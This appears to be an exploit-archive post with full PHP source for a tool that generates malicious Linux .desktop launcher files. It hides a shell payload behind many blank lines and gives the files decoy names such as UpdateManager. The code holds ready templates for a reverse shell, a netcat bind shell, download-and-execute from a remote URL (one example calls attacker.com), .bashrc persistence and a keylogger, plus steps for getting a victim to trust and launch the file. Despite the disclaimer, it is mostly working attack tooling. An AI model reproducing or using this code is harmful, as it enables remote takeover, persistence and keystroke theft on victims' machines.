============================================================================================================================================= | # Title : Desktop XDG v1.0 Malicious File | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : System built‑in component. No standalone download available. | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/208942/ [+] Summary : This PHP script generates a custom XDG desktop file (.desktop).Its purpose is to automatically build the file format, set basic metadata, and insert an execution command. [+] Main Features: Generates a .desktop file with configurable: Filename Display name Number of blank lines before the Exec field Command to run when clicked (payload) Random application name generation when not provided. Escapes shell-special characters for safety inside the Exec string. Outputs the generated content for review. Makes the file executable (chmod 0755). [+] Technical Breakdown: Random Name Generation Produces a string between 6 and 12 characters. .desktop Building Starts with the required header: [Desktop Entry] Adds common keys: Type=Application Name= NoDisplay=true Terminal=false Randomizes their ordering. [+] Payload Line : Appended after many blank lines (prepend_new_lines) Output Operations Writes the file using file_put_contents() Changes its mode to executable (chmod) ✔️ Example Output File (Structure Only – Safe) [Desktop Entry] Type=Application Name=MyApp123 NoDisplay=true Terminal=false Exec=/bin/sh -c "" [+] POC : # Show help php desktop_exploit.php --help # Show available templates php desktop_exploit.php --list-payloads # Interactive mode php desktop_exploit.php --interactive # Create a live file php desktop_exploit.php filename=backdoor.desktop payload="id" # With application name php desktop_exploit.php filename=malicious.desktop application_name=UpdateManager payload="wget ​​http://attacker.com/backdoor" [ 'name' => 'Reverse Shell', 'payload' => 'bash -i >& /dev/tcp/{IP}/{PORT} 0>&1', 'description' => 'Reverse shell to attacker machine', 'variables' => ['IP', 'PORT'] ], 'bind_shell' => [ 'name' => 'Bind Shell', 'payload' => 'nc -lvp {PORT} -e /bin/bash', 'description' => 'Bind shell on target machine', 'variables' => ['PORT'] ], 'download_execute' => [ 'name' => 'Download and Execute', 'payload' => 'wget {URL} -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor', 'description' => 'Download and execute remote file', 'variables' => ['URL'] ], 'persistence' => [ 'name' => 'Persistence', 'payload' => 'echo "{COMMAND}" >> ~/.bashrc', 'description' => 'Add command to bashrc for persistence', 'variables' => ['COMMAND'] ], 'keylogger' => [ 'name' => 'Simple Keylogger', 'payload' => 'while true; do xinput --query-state {KEYBOARD_ID} | grep -o "key\\[[0-9]*\\]=down" >> /tmp/keys.log; sleep 0.1; done', 'description' => 'Basic keylogger (requires xinput)', 'variables' => ['KEYBOARD_ID'] ], 'custom' => [ 'name' => 'Custom Payload', 'payload' => '', 'description' => 'Custom command payload', 'variables' => [] ] ]; // Colors for CLI output private $colors = [ 'red' => "\033[31m", 'green' => "\033[32m", 'yellow' => "\033[33m", 'blue' => "\033[34m", 'magenta' => "\033[35m", 'cyan' => "\033[36m", 'white' => "\033[37m", 'reset' => "\033[0m" ]; /** * Constructor */ public function __construct($options = []) { // Display banner $this->showBanner(); // Parse options $this->parseOptions($options); } /** * Show application banner */ private function showBanner() { if (php_sapi_name() !== 'cli') { return; } $banner = " {$this->colors['cyan']} ╔══════════════════════════════════════════════════════════╗ ║ Malicious XDG Desktop File Generator ║ ║ (indoushka Edition) ║ ╚══════════════════════════════════════════════════════════╝{$this->colors['reset']} {$this->colors['yellow']}DISCLAIMER:{$this->colors['reset']} For authorized penetration testing and educational purposes only. Use only on systems you own or have explicit permission to test. The author is not responsible for any misuse of this tool. {$this->colors['green']}Platforms Supported:{$this->colors['reset']} " . implode(', ', $this->supportedPlatforms) . "\n "; echo $banner; } /** * Parse and validate options */ private function parseOptions($options) { // Parse command line arguments if running in CLI if (php_sapi_name() === 'cli') { global $argv; $options = array_merge($options, $this->parseCliArguments($argv)); } // Set filename if (!empty($options['filename'])) { $this->filename = $options['filename']; } // Set application name if (!empty($options['application_name'])) { $this->applicationName = $options['application_name']; } else { $this->applicationName = $this->generateRandomName(); } // Set prepend new lines if (!empty($options['prepend_new_lines'])) { $this->prependNewLines = (int)$options['prepend_new_lines']; } // Set payload if (!empty($options['payload'])) { $this->payload = $options['payload']; } // If payload is not set, show interactive menu if (empty($this->payload) && php_sapi_name() === 'cli') { $this->showPayloadMenu(); } } /** * Parse CLI arguments */ private function parseCliArguments($argv) { $options = []; foreach ($argv as $arg) { if (strpos($arg, '=') !== false) { list($key, $value) = explode('=', $arg, 2); $options[$key] = $value; } elseif ($arg === '--help' || $arg === '-h') { $this->showHelp(); exit(0); } elseif ($arg === '--list-payloads' || $arg === '-l') { $this->listPayloadTemplates(); exit(0); } elseif ($arg === '--interactive' || $arg === '-i') { $this->interactiveMode(); exit(0); } } return $options; } /** * Show interactive payload menu */ private function showPayloadMenu() { echo "{$this->colors['yellow']}No payload specified.{$this->colors['reset']}\n\n"; $this->listPayloadTemplates(); echo "\n{$this->colors['green']}Select payload type (1-" . count($this->payloadTemplates) . "): {$this->colors['reset']}"; $choice = trim(fgets(STDIN)); if (is_numeric($choice) && $choice >= 1 && $choice <= count($this->payloadTemplates)) { $keys = array_keys($this->payloadTemplates); $selected = $keys[$choice - 1]; $this->configurePayloadTemplate($selected); } else { echo "{$this->colors['red']}Invalid selection. Using custom payload.{$this->colors['reset']}\n"; $this->getCustomPayload(); } } /** * List available payload templates */ private function listPayloadTemplates() { echo "{$this->colors['cyan']}Available Payload Templates:{$this->colors['reset']}\n\n"; $i = 1; foreach ($this->payloadTemplates as $key => $template) { echo "{$this->colors['yellow']}{$i}. {$template['name']}{$this->colors['reset']}\n"; echo " {$template['description']}\n"; echo " Template: {$this->colors['green']}{$template['payload']}{$this->colors['reset']}\n"; if (!empty($template['variables'])) { echo " Variables: " . implode(', ', $template['variables']) . "\n"; } echo "\n"; $i++; } } /** * Configure selected payload template */ private function configurePayloadTemplate($templateKey) { $template = $this->payloadTemplates[$templateKey]; echo "\n{$this->colors['cyan']}Configuring: {$template['name']}{$this->colors['reset']}\n"; echo "Description: {$template['description']}\n\n"; $payload = $template['payload']; // Replace variables foreach ($template['variables'] as $variable) { echo "Enter value for {$this->colors['yellow']}{$variable}{$this->colors['reset']}: "; $value = trim(fgets(STDIN)); $payload = str_replace("{{$variable}}", $value, $payload); } $this->payload = $payload; // Ask for confirmation echo "\n{$this->colors['green']}Generated payload:{$this->colors['reset']} {$payload}\n"; echo "Use this payload? (Y/n): "; $confirm = trim(fgets(STDIN)); if (strtolower($confirm) === 'n') { $this->getCustomPayload(); } } /** * Get custom payload from user */ private function getCustomPayload() { echo "\n{$this->colors['yellow']}Enter custom payload:{$this->colors['reset']}\n"; echo "> "; $this->payload = trim(fgets(STDIN)); } /** * Generate random application name */ private function generateRandomName($minLength = 6, $maxLength = 12) { $length = rand($minLength, $maxLength); $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $name = ''; for ($i = 0; $i < $length; $i++) { $name .= $characters[rand(0, strlen($characters) - 1)]; } return $name; } /** * Escape payload for desktop file */ private function escapePayload($payload) { $escaped = str_replace('\\', '\\\\\\', $payload); $escaped = str_replace('"', '\\"', $escaped); return $escaped; } /** * Create malicious desktop file */ public function exploit() { echo "\n{$this->colors['cyan']}Creating malicious desktop file...{$this->colors['reset']}\n"; // Validate payload if (empty($this->payload)) { throw new Exception("Payload cannot be empty"); } // Desktop file values $values = [ 'Type=Application', 'Name=' . $this->applicationName, // 'Hidden=true', // Not supported by old systems 'NoDisplay=true', 'Terminal=false' ]; // Shuffle the values (except [Desktop Entry] header) shuffle($values); // Build desktop file content $desktop = "[Desktop Entry]\n"; $desktop .= implode("\n", $values) . "\n"; $desktop .= str_repeat("\n", $this->prependNewLines); // Add payload $escapedPayload = $this->escapePayload($this->payload); $desktop .= "Exec=/bin/sh -c \"" . $escapedPayload . "\"\n"; // Create file $result = file_put_contents($this->filename, $desktop); if ($result === false) { throw new Exception("Failed to create file: " . $this->filename); } // Make file executable chmod($this->filename, 0755); return [ 'filename' => realpath($this->filename), 'content' => $desktop, 'size' => strlen($desktop), 'application_name' => $this->applicationName, 'payload' => $this->payload ]; } /** * Show help information */ public function showHelp() { $help = " {$this->colors['cyan']}Usage:{$this->colors['reset']} php " . basename(__FILE__) . " [options] {$this->colors['yellow']}Options:{$this->colors['reset']} filename= Output filename (default: msf.desktop) application_name= Application name (default: random) prepend_new_lines= Number of newlines before payload (default: 100) payload= Command payload to execute {$this->colors['yellow']}Flags:{$this->colors['reset']} -h, --help Show this help message -l, --list-payloads List available payload templates -i, --interactive Interactive mode {$this->colors['yellow']}Examples:{$this->colors['reset']} php " . basename(__FILE__) . " filename=malicious.desktop payload=\"id\" php " . basename(__FILE__) . " filename=backdoor.desktop application_name=UpdateManager php " . basename(__FILE__) . " --interactive php " . basename(__FILE__) . " --list-payloads {$this->colors['yellow']}Note:{$this->colors['reset']} On modern systems, users will see a warning when running untrusted .desktop files. Some file managers require marking the file as trusted before execution. {$this->colors['red']}WARNING:{$this->colors['reset']} Use only for authorized security testing! "; echo $help; } /** * Interactive mode */ public function interactiveMode() { echo "{$this->colors['cyan']}Interactive Mode{$this->colors['reset']}\n"; echo "===============\n\n"; // Get filename echo "Enter output filename [msf.desktop]: "; $filename = trim(fgets(STDIN)); if (!empty($filename)) { $this->filename = $filename; } // Get application name echo "Enter application name [random]: "; $appName = trim(fgets(STDIN)); if (!empty($appName)) { $this->applicationName = $appName; } else { $this->applicationName = $this->generateRandomName(); } // Get prepend lines echo "Enter number of newlines before payload [100]: "; $newlines = trim(fgets(STDIN)); if (is_numeric($newlines)) { $this->prependNewLines = (int)$newlines; } // Show payload menu $this->showPayloadMenu(); // Create file try { $result = $this->exploit(); $this->showSuccess($result); } catch (Exception $e) { $this->showError($e->getMessage()); } } /** * Display success message */ private function showSuccess($result) { $output = " {$this->colors['green']}╔══════════════════════════════════════════════════════════╗ ║ SUCCESSFULLY CREATED! ║ ╚══════════════════════════════════════════════════════════╝{$this->colors['reset']} {$this->colors['cyan']}File Information:{$this->colors['reset']} Filename: {$result['filename']} File Size: {$result['size']} bytes Application: {$result['application_name']} {$this->colors['cyan']}Payload:{$this->colors['reset']} {$result['payload']} {$this->colors['yellow']}Desktop File Content Preview:{$this->colors['reset']} " . substr($result['content'], 0, 500) . "...\n {$this->colors['yellow']}Usage Instructions:{$this->colors['reset']} 1. Transfer the file to the target system 2. The user must execute the .desktop file 3. Most systems will show a security warning 4. User must click \"Trust and Launch\" or similar {$this->colors['red']}Security Note:{$this->colors['reset']} This file may be detected by antivirus software. Modern Linux desktops have security warnings for untrusted .desktop files. {$this->colors['green']}File created successfully!{$this->colors['reset']} "; echo $output; } /** * Display error message */ private function showError($message) { echo "{$this->colors['red']}Error:{$this->colors['reset']} {$message}\n"; } /** * Create reverse shell payload */ public static function createReverseShell($ip, $port = 4444, $options = []) { $payload = "bash -i >& /dev/tcp/{$ip}/{$port} 0>&1"; $options['payload'] = $payload; if (empty($options['application_name'])) { $options['application_name'] = 'NetworkManager'; } $exploit = new self($options); return $exploit->exploit(); } /** * Create bind shell payload */ public static function createBindShell($port = 4444, $options = []) { $payload = "nc -lvp {$port} -e /bin/bash"; $options['payload'] = $payload; if (empty($options['application_name'])) { $options['application_name'] = 'SystemMonitor'; } $exploit = new self($options); return $exploit->exploit(); } } // Main execution if (php_sapi_name() === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) { try { // Check if help requested if (in_array('--help', $argv) || in_array('-h', $argv)) { $exploit = new MaliciousDesktopFile(); $exploit->showHelp(); exit(0); } // Check if interactive mode if (in_array('--interactive', $argv) || in_array('-i', $argv)) { $exploit = new MaliciousDesktopFile(); $exploit->interactiveMode(); exit(0); } // Check if list payloads if (in_array('--list-payloads', $argv) || in_array('-l', $argv)) { $exploit = new MaliciousDesktopFile(); $exploit->listPayloadTemplates(); exit(0); } // Parse command line arguments $options = []; foreach ($argv as $arg) { if (strpos($arg, '=') !== false) { list($key, $value) = explode('=', $arg, 2); $options[$key] = $value; } } // Create exploit instance $exploit = new MaliciousDesktopFile($options); // Execute exploit $result = $exploit->exploit(); // Show success message $exploit->showSuccess($result); } catch (Exception $e) { echo "{$exploit->colors['red']}Error:{$exploit->colors['reset']} " . $e->getMessage() . "\n"; exit(1); } } // Web interface (if accessed via browser) if (php_sapi_name() !== 'cli') { ?> Desktop File Generator

📁 Desktop File Generator

Create XDG Desktop files for authorized security testing

⚠️ Warning: This tool is for authorized penetration testing and educational purposes only. Do not use on systems you don't own or have permission to test.

Generated Desktop File:


                
            
$_POST['filename'] ?? 'msf.desktop', 'application_name' => $_POST['application_name'] ?? '', 'prepend_new_lines' => $_POST['prepend_new_lines'] ?? 100, 'payload' => $_POST['payload'] ?? '' ]; $exploit = new MaliciousDesktopFile($options); $result = $exploit->exploit(); echo json_encode([ 'success' => true, 'filename' => $result['filename'], 'content' => $result['content'], 'application_name' => $result['application_name'], 'size' => $result['size'] ]); } catch (Exception $e) { echo json_encode([ 'success' => false, 'error' => $e->getMessage() ]); } exit; } ?>